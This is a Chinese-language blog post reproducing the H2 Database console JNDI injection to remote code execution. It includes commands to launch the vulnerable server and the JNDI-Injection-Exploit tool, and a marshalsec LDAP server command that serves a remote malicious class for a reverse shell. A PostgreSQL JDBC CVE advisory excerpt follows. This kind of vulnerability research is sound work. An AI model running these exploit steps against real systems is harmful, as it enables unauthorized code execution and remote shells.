H2 Database JNDI TO RCE

H2 Database JNDI TO RCE

前言

从GitHub的安全通告上来看，这个漏洞的影响很大，1.1.100 (2008-10-14) to 2.0.204 (2021-12-21)都受到影响。

环境

IDEA Windows 10 H2 Database Engine 1.4.200 java version "1.8.0_102"

复现

用以下命令启动H2的Web Server

java -cp h2-2.0.202.jar  org.h2.tools.Server -tcp -web -webAllowOthers

image-20220201163214243

命令执行

Driver Class设置为 javax.naming.InitialContext JDBC URL设置为 恶意ldap服务（或rmi服务）的地址

 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"

image-20220202122112114

靶机可以看到已经弹出计算器了

image-20220202122206567

代码执行反弹Shell

这里结合之前记录的一篇JNDI代码执行来进行反弹Shell，只需要将远程恶意类进行替换即可，这里使用marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.108.144/#Reverse 8888

反弹成功！

评论

发表评论

此博客中的热门博文

CVE-2022-21724 PostgreSQL JDBC Driver RCE

图片
  CVE-2022-21724 PostgreSQL JDBC Driver RCE 前言 GitHub通告： Unchecked Class Instantiation when providing Plugin Classes · CVE-2022-21724 · GitHub Advisory Database NVD： pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName , sslhostnameverifier , socketFactory , sslfactory , sslpasswordcallback connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue. 受影响版本 = 9.4.1208, < 42.2.25 > = 42.3.0, < 42.3.2 已修复版本 42.2.25 42.3.2 pom.xml中添加以下依赖 < dependencie...
阅读全文